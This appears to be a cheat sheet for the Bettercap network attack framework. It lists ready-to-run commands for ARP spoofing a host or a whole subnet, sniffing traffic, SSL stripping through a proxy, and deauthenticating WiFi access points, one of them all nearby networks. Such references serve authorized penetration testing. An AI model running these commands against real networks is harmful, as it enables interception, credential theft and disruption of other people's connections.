Description
Bettercap is a powerful, modular, portable network attack and monitoring framework. It supports WiFi, Bluetooth Low Energy, HID, and ethernet network reconnaissance and MITM attacks.
Installation
BASH
sudo apt install bettercap
# Or from source
go install github.com/bettercap/bettercap@latest
Basic Usage
BASH
# Start interactive mode
sudo bettercap -iface eth0
# WiFi recon
sudo bettercap -iface wlan0mon
wifi.recon on
wifi.show
# ARP spoofing
sudo bettercap -iface eth0
net.probe on
set arp.spoof.targets 192.168.1.50
arp.spoof on
net.sniff on
Advanced Usage
BASH
# BLE scanning
sudo bettercap
ble.recon on
ble.show
# HTTP/HTTPS proxy
set http.proxy.sslstrip true
http.proxy on
# Caplets (automation scripts)
sudo bettercap -caplet http-ui
sudo bettercap -caplet pita # Deauth all nearby APs
# WiFi deauth
wifi.recon on
wifi.deauth AA:BB:CC:DD:EE:FF
Common Workflows
BASH
# Full network MitM
sudo bettercap -iface eth0 -eval "net.probe on; set arp.spoof.fullduplex true; set arp.spoof.targets 192.168.1.0/24; arp.spoof on; net.sniff on"